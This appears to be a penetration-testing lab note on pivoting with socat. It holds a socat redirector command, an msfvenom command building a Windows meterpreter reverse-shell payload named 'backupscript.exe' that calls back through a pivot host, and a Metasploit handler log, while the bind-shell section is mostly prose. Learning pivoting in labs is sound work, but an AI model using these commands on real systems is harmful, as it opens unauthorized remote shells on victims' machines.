☑️Socat
Socat is a bidirectional relay tool that can create pipe sockets between 2 independent network channels without needing to use SSH tunneling. It acts as a redirector that can listen on one host and port and forward that data to another IP address and port.
On a pivot machine we can run socat (10.10.14.18 is our attack host):
socat TCP4-LISTEN:8080,fork TCP4:10.10.14.18:80Socat will listen on localhost on port 8080 and forward all the traffic to port 80 on our attack host (10.10.14.18). Now that we have our redirector set up we can create payloads that connect to the redirector. We will also start a listener on our attack host because as soon as socat receives a connection from a target, it will redirect all the traffic to our attack host's listener, where we would be getting a shell.
Socat - Reverse Shell
Creating payload
Here, 172.16.5.129 is the IP of our pivot machine.
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=172.16.5.129 -f exe -o backupscript.exe LPORT=8080We need to send it to the target host, lets say using a python http server.
Setting multi/handler
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_https
payload => windows/x64/meterpreter/reverse_https
msf6 exploit(multi/handler) > set lhost 0.0.0.0
lhost => 0.0.0.0
msf6 exploit(multi/handler) > set lport 80
lport => 80
msf6 exploit(multi/handler) > run
[*] Started HTTPS reverse handler on https://0.0.0.0:80We can test this by running our payload on the windows host again, and we should see a network connection from the Ubuntu server this time.
Socat - Bind Shell
Similar to our socat's reverse shell redirector, we can also create a socat bind shell redirector. This is different from reverse shells that connect back from the Windows server to the Ubuntu server and get redirected to our attack host. In the case of bind shells, the Windows server will start a listener and bind to a particular port. We can create a bind shell payload for Windows and execute it on the Windows host. At the same time, we can create a socat redirector on the Ubuntu server, which will listen for incoming connections from a Metasploit bind handler and forward that to a bind shell payload on a Windows target. The below figure should explain the pivot in a much better way.
Creating a Windows payload
Starting a listener on pivot host
We can start a socat bind shell listener, which listens on port 8080 and forwards packets to Windows server 8443.
Starting the multi/handler
So now we can connect to the pivot machines port 8080
Last updated